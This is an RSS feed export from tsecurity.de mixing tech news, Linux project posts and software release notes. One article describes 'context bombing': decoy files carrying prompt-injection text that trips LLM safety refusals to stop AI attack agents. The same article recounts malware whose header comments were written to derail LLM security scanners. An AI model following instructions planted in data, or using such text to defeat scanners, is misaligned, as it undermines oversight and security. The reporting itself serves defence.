<guid isPermaLink="true">https://tsecurity.de/de/3683281/ios-mac-os/iphone-20-pro-max-may-get-apples-largest-ever-iphone-screen-at-7-inches/</guid>
<pubDate>Tue, 21 Jul 2026 11:57:45 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A new rumor claims that Apple is considering using what it will call a 7-inch screen for one of the 20th anniversary <a href="https://appleinsider.com/inside/iphone" title="iPhone" data-kpt="1">iPhones</a>, although that isn't as great an increase as it sounds.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68308-143998-000-lead-iPhone-17-Pro-Max-display-xl.jpg" alt="Modern smartphone lying on a dark surface, screen displaying a vivid purple and pink abstract flower-like pattern with bright glowing center and small light reflections" height="720"><br><span>The display on the current iPhone 17 Pro Max is 6.86 inches.</span></div><br>One recent rumor claimed that Apple had begun <a href="https://appleinsider.com/articles/26/05/21/rumor-2027-iphone-production-testing-underway-with-quad-curved-oled-display">production evaluation</a> for a 2027 iPhone with a display that is curved on all four sides. Then another claimed that the <a href="https://appleinsider.com/inside/iphone-20" title="iPhone 20" data-kpt="1">iPhone 20</a> range would feature a <a href="https://appleinsider.com/articles/26/07/14/glass-production-plans-give-the-iphone-20-redesign-new-credibility">significant redesign</a>.<br><br>For the first time, though, a leaker is claiming that Apple is testing what would be its largest iPhone screen. According to Digital Chat Station on Chinese social media site Weibo, if it goes ahead with this screen, Apple will market it as being a <a href="https://weibo.com/6048569942/R9G4trdtx">7-inch one</a>.<br><br><br> <a href="https://appleinsider.com/articles/26/07/21/iphone-20-pro-max-may-get-apples-largest-ever-iphone-screen-at-7-inches?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245009?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Call of Duty: Modern Warfare 4 Open Beta dates revealed — Here's how and when you can play]]></title>
<description><![CDATA[Infinity Ward has confirmed the early access and open beta periods for Call of Duty: Modern Warfare 4. Here's when and how you can play the upcoming Call of Duty title's new multiplayer experience.]]></description>
<link>https://tsecurity.de/de/3683236/windows-tipps/call-of-duty-modern-warfare-4-open-beta-dates-revealed-heres-how-and-when-you-can-play/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683236/windows-tipps/call-of-duty-modern-warfare-4-open-beta-dates-revealed-heres-how-and-when-you-can-play/</guid>
<pubDate>Tue, 21 Jul 2026 11:45:25 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Infinity Ward has confirmed the early access and open beta periods for Call of Duty: Modern Warfare 4. Here's when and how you can play the upcoming Call of Duty title's new multiplayer experience.]]></content:encoded>
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<title><![CDATA[SaaS will survive, but lazy SaaS is dead]]></title>
<description><![CDATA[Something interesting happened during an internal evaluation of AI meeting transcription tools at Tungsten Automation. The products worked. They weren’t bad. But sitting across from the pricing, we kept asking the same question: what exactly are we paying for? 



We already had a secure enterpri...]]></description>
<link>https://tsecurity.de/de/3683122/ai-nachrichten/saas-will-survive-but-lazy-saas-is-dead/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683122/ai-nachrichten/saas-will-survive-but-lazy-saas-is-dead/</guid>
<pubDate>Tue, 21 Jul 2026 11:05:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Something interesting happened during an internal evaluation of AI meeting transcription tools at Tungsten Automation. The products worked. They weren’t bad. But sitting across from the pricing, we kept asking the same question: what exactly are we paying for? </p>



<p class="wp-block-paragraph">We already had a secure enterprise AI environment. Building a meeting summary workflow took days, not months. We customized the outputs, injected our own internal context, and controlled security our way instead of working around someone else’s roadmap. We built it. It works better. We own it.</p>



<p class="wp-block-paragraph">That’s not a knock on those vendors. It’s a signal of something more fundamental happening across enterprise software.</p>



<h2 class="wp-block-heading">The moat was never the product</h2>



<p class="wp-block-paragraph">For two decades, <a href="https://www.infoworld.com/article/2256637/what-is-saas-software-as-a-service-defined.html" data-type="link" data-id="https://www.infoworld.com/article/2256637/what-is-saas-software-as-a-service-defined.html">SaaS</a> rode a favorable asymmetry: building internal tools was hard, integrations were messy, and even modest automation required developers and long timelines. Buying was faster and cheaper than building. That asymmetry fueled the explosion of SaaS into every corner of the enterprise stack.</p>



<p class="wp-block-paragraph">AI is collapsing that asymmetry. Large language models and agentic workflows can orchestrate APIs, move data between systems, generate interfaces, and automate business logic with a fraction of the engineering effort required even two years ago. The integration friction that once protected entire product categories is evaporating.</p>



<p class="wp-block-paragraph">The vendors most exposed are not the deeply embedded enterprise platforms. They’re the lightweight workflow layers, the products that essentially put a polished interface on top of accessible data and relatively straightforward processes. Reporting dashboards. Meeting tools. Narrow productivity applications. These products created value by simplifying implementation. That rationale is getting harder to sustain when implementation is no longer the real barrier.</p>



<p class="wp-block-paragraph">Here’s the part most analyses miss: it’s not just that AI makes development faster. It’s that agents change the integration model entirely. For 30 years, enterprise software was built for humans navigating UIs. Agentic systems don’t use UIs. They call <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">APIs</a>, read from multiple sources simultaneously, and move data freely across systems. The switching costs that once made incumbent software sticky are collapsing, because an agent doesn’t care which UI it used last quarter.</p>



<h2 class="wp-block-heading">The SaaS that survives</h2>



<p class="wp-block-paragraph">The question isn’t whether SaaS survives. It’s which SaaS survives.</p>



<p class="wp-block-paragraph">The companies with durable positions are not the ones with the cleanest interface. They’re the ones that transfer operational risk customers genuinely cannot absorb themselves. Compliance. Regulatory certification. Accumulated domain expertise. Liability.</p>



<p class="wp-block-paragraph">Think about compliant invoicing across 140 countries. That’s not a workflow someone builds in a sprint. The certifications alone take years. A single regulatory change in one jurisdiction can break an AP process for a global enterprise overnight. Customers don’t pay for that capability because it’s technically complex. They pay because they cannot afford to own the risk of getting it wrong.</p>



<p class="wp-block-paragraph">That’s the distinction that matters: AI lowers the cost of building software. It does not lower the cost of absorbing risk. The vendors who understand this are building durable businesses. The ones who don’t are quietly subsidizing their customers’ internal build programs.</p>



<p class="wp-block-paragraph">Software sells features. Platforms sell accountability.</p>



<h2 class="wp-block-heading">The prototype trap</h2>



<p class="wp-block-paragraph">The danger for enterprise buyers right now is overcorrection. Every successful prototype looks like a cost-saving opportunity. Very few survive the jump to production.</p>



<p class="wp-block-paragraph">Building a workflow with <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> is becoming straightforward. Maintaining it is not. Models evolve. Outputs drift. Governance requirements tighten. What worked cleanly in a controlled environment behaves differently at scale, and the failure mode is worse than traditional software. Rule-based automation, when it fails, fails obviously. Agents fail silently, confidently, at scale, often with a completely reasonable-sounding explanation.</p>



<p class="wp-block-paragraph">Engineering teams that take on AI-powered systems need to solve for observability, model drift, access controls, audit trails, and long-term maintenance ownership. In regulated industries, they need to demonstrate exactly how the system reached every decision. That’s not a weekend project. That’s an ongoing operational commitment that compounds over time as models change and regulatory requirements evolve.</p>



<p class="wp-block-paragraph">Before a team decides to replace an external platform with internal AI tooling, the honest question isn’t, “Can we build this?” The real question is, “Are we prepared to own this in production, for years, as the underlying models change beneath us?” Sometimes the answer is yes. Often the answer is no, and the true cost only becomes visible after the vendor contract is canceled.</p>



<h2 class="wp-block-heading">Build vs. partner: a sharper frame</h2>



<p class="wp-block-paragraph">The build vs. buy framing has always been too binary. The right question is build vs. partner.</p>



<p class="wp-block-paragraph">Partner for the capabilities where risk transfer, regulatory complexity, and domain expertise create genuine value your team cannot replicate. Build for the capabilities that actually differentiate your business from your competitors. Don’t burn your best engineers rebuilding compliant invoice processing or production-grade document extraction. Those aren’t competitive advantages. They’re table stakes, and someone else has already paid the cost, across decades, to make them reliable.</p>



<p class="wp-block-paragraph">The organizations getting this right are honest about where they create unique value. They focus development there, and partner for everything else. The ones getting it wrong are vibe-coding solutions to non-differentiating problems while their actual competitive moat goes unattended.</p>



<h2 class="wp-block-heading">The true value of software</h2>



<p class="wp-block-paragraph">We’re not watching the death of SaaS. We’re watching the end of the friction-based value proposition: the idea that software is worth renewing because integration used to be painful. That rationale is largely gone.</p>



<p class="wp-block-paragraph">What survives is software that does something customers cannot reasonably replicate internally: absorb risk, maintain regulatory compliance, deliver operational reliability at scale, and bring genuine domain expertise into a production-grade system that someone else already stress-tested for years.</p>



<p class="wp-block-paragraph">The vendors who recognize this are already repositioning around accountability, governance, and outcomes. The ones who haven’t will find the next renewal conversation noticeably harder.</p>



<p class="wp-block-paragraph">Software sells features. Platforms sell accountability. That distinction is about to separate a lot of winners from a lot of cautionary tales.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[Context bombing heralds a new AI era of deceptive defense]]></title>
<description><![CDATA[Attackers are increasingly using AI agents to automate all phases of cyberattacks, prompting the security industry and enterprises to find new network defense approaches. One technique that shows promise is to intentionally plant decoy files with prompts that trigger the content safety guardrails...]]></description>
<link>https://tsecurity.de/de/3682887/it-security-nachrichten/context-bombing-heralds-a-new-ai-era-of-deceptive-defense/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682887/it-security-nachrichten/context-bombing-heralds-a-new-ai-era-of-deceptive-defense/</guid>
<pubDate>Tue, 21 Jul 2026 09:07:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Attackers are increasingly <a href="https://www.csoonline.com/article/4196409/ai-powered-breaches-provide-wake-up-call-for-incident-response.html">using AI agents to automate all phases of cyberattacks</a>, prompting the security industry and enterprises to find new network defense approaches. One technique that shows promise is to intentionally plant decoy files with prompts that trigger the content safety guardrails built into LLMs with the goal of crashing rogue agentic workflows.</p>



<p class="wp-block-paragraph">Using decoy resources as tripwires that alert defenders about potential unauthorized access is not a new idea in cybersecurity. These are known as canaries — after the canary in the coal mine early warning system — and can be fake documents, AWS access keys, database dumps, DNS records, and even URLs that would not be queried by legitimate processes, but would be attractive targets for attackers.</p>



<p class="wp-block-paragraph">What’s new in <a href="https://agentic.tracebit.com/context-bombs/">the approach devised and tested by security firm Tracebit</a> is to use these decoy resources not merely to trigger alerts, but to actually stop AI agents, buying defenders more time. Dubbed “context bombing,” the technique takes advantage of the fact that LLMs are inherently vulnerable to prompt injection — acting on instructions they might encounter inside the data they process.</p>



<p class="wp-block-paragraph">Enterprises that build their own AI agents have to worry about <a href="https://www.csoonline.com/article/4110008/top-cyber-threats-to-your-ai-systems-and-infrastructure.html">malicious prompts</a> placed by attackers on web pages, emails, documents, code comments, and in other third-party resources those agents might access. With no defenses in place, companies risk their own agents being hijacked and used against them to perform unauthorized actions. But the malicious AI agents used by attackers have the same vulnerability.</p>



<p class="wp-block-paragraph">“We call the defensive version a context bomb: a short piece of text designed to trigger a model’s safety guardrails, planted directly in the attacker’s path — a decoy secret, environment variable, or DNS record,” Sam Cox, Tracebit’s CTO, said in <a href="https://tracebit.com/blog/context-bombs-stopping-ai-attackers-in-their-tracks">a blog post</a>. “An AI agent that reads it will frequently refuse to continue. You still get the alert; and the attack now halts early instead of merely being detected.”</p>



<h2 class="wp-block-heading">Context bombing triggers massive drop in attack success rate</h2>



<p class="wp-block-paragraph">Tracebit’s tests performed in an AWS test environment cut the success rate normally achieved by AI models across multiple attacks paths by up to 90% by simply adding instructions that would trigger their content safety guardrails. LLMs are trained to refuse answering questions about creating biological, chemical, or nuclear weapons, or, in the case of Chinese open-weight models, <a href="https://www.cio.com/article/3851848/ai-culture-war-hidden-bias-in-training-models-may-push-political-propaganda.html">sensitive political topics</a> such as the Tiananmen Square massacre.</p>



<p class="wp-block-paragraph">Furthermore, once one of these banned instructions make it into the context window, the whole session is <a href="https://www.csoonline.com/article/4166171/poisoned-truth-the-quiet-security-threat-inside-enterprise-ai.html">poisoned</a>, and the model will often refuse to continue without manual intervention. The researchers ran many tests to find short strings that would trigger model safety guardrails reliably, but it’s worth noting that the identified strings were different between the tested models: Claude Opus 4.8, Gemini 3.1 Pro, GLM 5.2, DeepSeek V4 Pro, and Kimi K2.6.</p>



<p class="wp-block-paragraph">During baseline tests the AI agents managed on average to obtain full account admin in 54% of the 154 attack runs and full compromise (admin + persistence) in 36% of tests. With the context bombs in place, their success rate dropped to 5% for admin access and 1% for full compromise. Also, in 91% of baseline attack runs, the agents managed to complete at least one of ten possible attacks paths, but their average success rate dropped to 15% with the context bombs.</p>



<p class="wp-block-paragraph">The models from Western AI labs — Opus and Gemini — proved the most capable at reaching full admin access, with 93% and 70% success rates, but were also the most impacted by the context bombs with both their success rates dropping to 0%. This shows that the content safety guardrails are much stronger in these models compared to the Chinese ones that were tested.</p>



<h2 class="wp-block-heading">Attackers experimented with safety refusals first</h2>



<p class="wp-block-paragraph">The Tracebit researchers had already been experimenting with AI canaries for alert purposes. <a href="https://agentic.tracebit.com/context-bombs/">A paper published in May</a> showed that canaries alerted defenders in 95.9% of 162 successful attack runs performed with AI agents using 10 different AI models. The alerts were triggered 8 minutes before the agents performed critical actions, while the runs required 14 minutes on average to reach admin access.</p>



<p class="wp-block-paragraph">During those tests the researchers observed that if they instructed the models that the network might include deception, their success rate for full admin access and persistence dropped from 20% to 3% on average.</p>



<p class="wp-block-paragraph">Then in June, researchers from security firm Socket.dev came across a software supply chain attack involving malicious PyPI wheels that contained prompt injections with content designed to trigger safety guardrails inside AI models. The malicious prompts were included in code comments at the start of the files and the purpose was likely to evade detection from LLM-powered security scanners.</p>



<p class="wp-block-paragraph">“This header appears designed for AI-mediated analysis, not for Node, Bun, or Python,” the Socket.dev researchers <a href="https://socket.dev/blog/mini-shai-hulud-miasma-and-hades-worms-target-bioinformatics-and-mcp-developers-via-malicious">said at the time</a>. “It attempts to derail scanners or analyst copilots that feed the beginning of a file to a language model without clearly isolating the content as untrusted data. In weak pipelines, this can cause refusal behavior, prompt confusion, context pollution, or premature classification before the scanner reaches the actual malware.”</p>



<p class="wp-block-paragraph">The Tracebit researchers then had the idea to flip the script and trigger such safety refusals through their canary technique against malicious AI agents. So not only does the agent run stop, but an alert is also triggered because the canary was accessed.</p>



<p class="wp-block-paragraph">There is a risk that the canaries could also be discovered and accessed accidentally by legitimate LLM-powered tools used by engineering or security teams. But at the same time this means organizations could potentially deploy such canaries in sensitive places to stop their own AI agents that might become hijacked or go off the rails on their own.</p>



<p class="wp-block-paragraph">There are many reports online where AI models performed destructive or unauthorized actions like deleting databases and folders or elevating their privileges because they got struck in failure loops and explored creative ways to complete their tasks. This is even more common with autonomous AI agents that are tasked to reach a goal without human intervention or supervision.</p>



<p class="wp-block-paragraph">“The speed of autonomous AI attacks is why deception is climbing the priority list for security programs,” Tracebit’s Cox said. “When the attack chain takes minutes rather than days, every minute of response time you can claw back matters — and a control that stops the attacker outright, rather than just reporting them, changes the economics significantly.”</p>
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<title><![CDATA[[OC] QuickShare / Nearby for Linux v0.5 Released]]></title>
<description><![CDATA[Hi all! A couple of months back I shared my development in bringing QuickShare to linux. There were a multitude of issues with the past implementation but this time, we are nearly feature complete with android. No companion apps needed. Works with any android device OOTB https://github.com/kidfro...]]></description>
<link>https://tsecurity.de/de/3682522/linux-tipps/oc-quickshare-nearby-for-linux-v05-released/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682522/linux-tipps/oc-quickshare-nearby-for-linux-v05-released/</guid>
<pubDate>Tue, 21 Jul 2026 03:56:27 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hi all!</p> <p>A couple of months back I shared my development in bringing QuickShare to linux. There were a multitude of issues with the past implementation but this time, we are nearly feature complete with android. No companion apps needed. Works with any android device OOTB</p> <p><a href="https://github.com/kidfromjupiter/nearby">https://github.com/kidfromjupiter/nearby</a><br> ( Don't forget to give it a start if you find this cool and want to support me. I like fake internet points ; ) )</p> <p><strong>Major Improvements:</strong></p> <ul> <li>AppImage for easier distribution / installation</li> <li>No companion app</li> <li>Revamped cohesive UI</li> <li>Expanded compatibility to more distros</li> </ul> <p>It is as reliable as QuickShare can be ( well yk how it is. I can't <em>really</em> help it. I don't control the protocol ) and almost as fast as android to android sharing ( there are issues with 5ghz hotspots with some intel wifi cards so I've disabled it for now ).</p> <p>It supports sharing with</p> <ul> <li>BLE</li> <li>Bluetooth classic</li> <li>Wifi Hotspot</li> <li>WIFI LAN</li> <li>webrtc ( coming soon ? )</li> </ul> <p><strong>NOTE</strong>: If you're using this, interference with bluetooth devices while turned on is a known bug. I'm working on a fix. So launch the app only when you plan to send/recv</p> <p><strong>NOTE NOTE : THERE BE BUGS. This is still beta software. Some weirdness regarding wifi-hotspot is there, and also double broadcasting. Please feel free to open an issue. I'll be happy to help :)</strong></p> <p>Thanks : )</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Striking-Storm-6092"> /u/Striking-Storm-6092 </a> <br> <span><a href="https://i.redd.it/zdwlzufvrceh1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v1gj3r/oc_quickshare_nearby_for_linux_v05_released/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Mt Sync - (Auto)Mount and Sync your data from anywhere]]></title>
<description><![CDATA[It seems like I'm the only one how want to just go to a network share an an application after I login and the files are just there. No having to go mount anything first, what a wasteful step that is. :) So after making a gnome extension for gvfs mounts/shares, I thought it would be great if I cou...]]></description>
<link>https://tsecurity.de/de/3682514/linux-tipps/mt-sync-automount-and-sync-your-data-from-anywhere/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682514/linux-tipps/mt-sync-automount-and-sync-your-data-from-anywhere/</guid>
<pubDate>Tue, 21 Jul 2026 03:56:13 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>It seems like I'm the only one how want to just go to a network share an an application after I login and the files are just there. No having to go mount anything first, what a wasteful step that is. :) So after making a gnome extension for gvfs mounts/shares, I thought it would be great if I could mount other types of storage the same way and even sync data between them. I got close to buying rcloneview for its paywalled features when I decided to go do my own thing, introducing Mt Sync: <a href="https://codeberg.org/gavindi/MtSync">https://codeberg.org/gavindi/MtSync</a></p> <p>Sharing since maybe just maybe there's someone else who misses the Windows "reconnect drive at login" feature..... 🤷‍♂️️</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/gavindi"> /u/gavindi </a> <br> <span><a href="https://i.redd.it/hayjzb84rfeh1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v1vc7m/mt_sync_automount_and_sync_your_data_from_anywhere/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[v2.1.216]]></title>
<description><![CDATA[What's changed

Added sandbox.filesystem.disabled setting to skip filesystem isolation while keeping network egress control
Fixed a slowdown in long sessions where message normalization cost grew quadratically with the number of turns, causing multi-second stalls and slow resumes
Fixed auto mode ...]]></description>
<link>https://tsecurity.de/de/3682279/downloads/v21216/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682279/downloads/v21216/</guid>
<pubDate>Tue, 21 Jul 2026 00:16:52 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added <code>sandbox.filesystem.disabled</code> setting to skip filesystem isolation while keeping network egress control</li>
<li>Fixed a slowdown in long sessions where message normalization cost grew quadratically with the number of turns, causing multi-second stalls and slow resumes</li>
<li>Fixed auto mode denying commands with "HTTP 401" classifier errors after the OAuth token expired or rotated mid-session</li>
<li>Fixed AskUserQuestion telling Claude to continue even when your answer asked it to wait or explain first — free-text answers now get neutral wording</li>
<li>Fixed Claude Code on the web re-asking the same question and dropping your answer after the session sat idle for a few minutes</li>
<li>Fixed @-mentions silently attaching nothing after file-modifying hooks, vim dot-repeat of <code>c</code>-operators and paste, statusline running twice on resume, and resume-picker hangs on failure</li>
<li>Fixed resumed background agent sessions reverting to the default agent: the agent's prompt and tool restrictions are now restored</li>
<li>Fixed worktree-isolated subagents redirecting git into the shared checkout via <code>git -C</code>, <code>--git-dir</code>, or <code>GIT_DIR</code>/<code>GIT_WORK_TREE</code></li>
<li>Fixed worktree sessions landing in another project's leftover worktree when the working directory did not match the selected project</li>
<li>Fixed background sessions whose worktree has no git repository being undeletable</li>
<li>Fixed <code>claude daemon stop --any</code> potentially terminating an unrelated process via a stale legacy daemon lockfile</li>
<li>Fixed Esc-Esc at an idle prompt not opening the rewind picker in long-running sessions with background tasks</li>
<li>Fixed Bash command permission checking for compound statements with redirects inside <code>&amp;&amp;</code> lists or negations</li>
<li>Fixed pressing Ctrl+X twice in the agent list failing to delete a session, and deleted sessions reappearing when their background worker had died</li>
<li>Fixed background subagents getting cancelled when a high-priority message arrives during their startup window</li>
<li>Fixed mouse and focus garbage in the terminal while a GUI editor from <code>/memory</code>, <code>/plan</code>, <code>/keybindings</code>, or Ctrl+G is open; <code>/memory</code> no longer waits for the editor to close</li>
<li>Fixed Claude-in-Chrome 403-looping on reconnect when the session's OAuth token lacks a required scope</li>
<li>Fixed workflow saves and scheduled-task writes following a symlink at <code>.claude</code>, which could redirect writes outside the project</li>
<li>Fixed MCP re-authenticate revoking working credentials before the new sign-in succeeds, and the reconnect needs-auth message in background sessions pointing at an unusable command</li>
<li>Fixed read-only commands on Windows accessing network paths without a permission prompt</li>
<li>Fixed Bash command parsing of non-ASCII characters to match real shell word boundaries</li>
<li>Fixed PowerShell tool permission validation of commands containing invisible Unicode characters</li>
<li>Fixed dialogs in fullscreen mode stretching past the right-hand edge of their panel</li>
<li>Fixed the <code>/config</code> settings list in fullscreen mode clipping its keyboard-hint footer</li>
<li>Fixed the transcript-mode (Ctrl+O) footer hint wrapping on terminals narrower than 104 columns</li>
<li>Fixed the Prometheus metrics endpoint (<code>OTEL_METRICS_EXPORTER=prometheus</code>) emitting invalid <code># UNIT</code> lines</li>
<li>Fixed skills and commands changed during a session not appearing in the slash menu until restart</li>
<li>Fixed plugin skills with a <code>name</code> frontmatter field losing their plugin prefix in slash-command autocomplete</li>
<li>Fixed telemetry misreporting permission denials: failed permission-prompt requests no longer count as user rejections, and user interrupts are now reported as user aborts instead of rejections</li>
<li>Improved the <code>/fork</code> confirmation to one line with the new session's name, <code>claude attach</code> id, and a note when the copy shares your checkout</li>
<li>Improved validation of <code>git</code> and <code>gh</code> command arguments in the PowerShell tool</li>
<li>Improved the <code>/ultrareview</code> diff-too-large error to show configured limits, measured diff size, and largest contributing files</li>
<li>Improved <code>/code-review ultra</code> empty-diff message to name the exact base ref and suggest passing an explicit base</li>
<li>Improved the spend limit adjustment prompt to show the server's reason when a spend limit change is rejected</li>
<li><code>/context</code> now shows an explicit warning when the conversation exceeds the context window, and a failed <code>/compact</code> displays as an error</li>
<li><code>/rewind</code> no longer restores or deletes files through symlinks or hard links at tracked paths and reports how many paths it skipped</li>
<li>Background sessions: <code>/mcp</code> and <code>/install-github-app</code> now park a "needs input" request in the agent view when no client is attached</li>
<li>Updated the bundled dataviz skill: reordered the default chart palette and fixed guidance that suggested direct labels for four-series charts</li>
<li>[VSCode] Fixed right-to-left text (Arabic, Hebrew, Persian) rendering in the wrong order when mixed with English or code</li>
<li>Fixed cloud sessions dropping the in-flight message when the session's container restarts mid-turn — the interrupted turn now re-runs on resume instead of leaving the session unresponsive</li>
</ul>]]></content:encoded>
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<title><![CDATA[Felicia Day’s Movie Kickstarter for The Guild Hit Its Goal in 3 Hours]]></title>
<description><![CDATA[Don’t call it a comeback, The Guild aims to shine a light on how nerd culture has changed in 20 years.]]></description>
<link>https://tsecurity.de/de/3682023/it-nachrichten/felicia-days-movie-kickstarter-for-the-guild-hit-its-goal-in-3-hours/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682023/it-nachrichten/felicia-days-movie-kickstarter-for-the-guild-hit-its-goal-in-3-hours/</guid>
<pubDate>Mon, 20 Jul 2026 21:17:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Don’t call it a comeback, The Guild aims to shine a light on how nerd culture has changed in 20 years.]]></content:encoded>
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<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
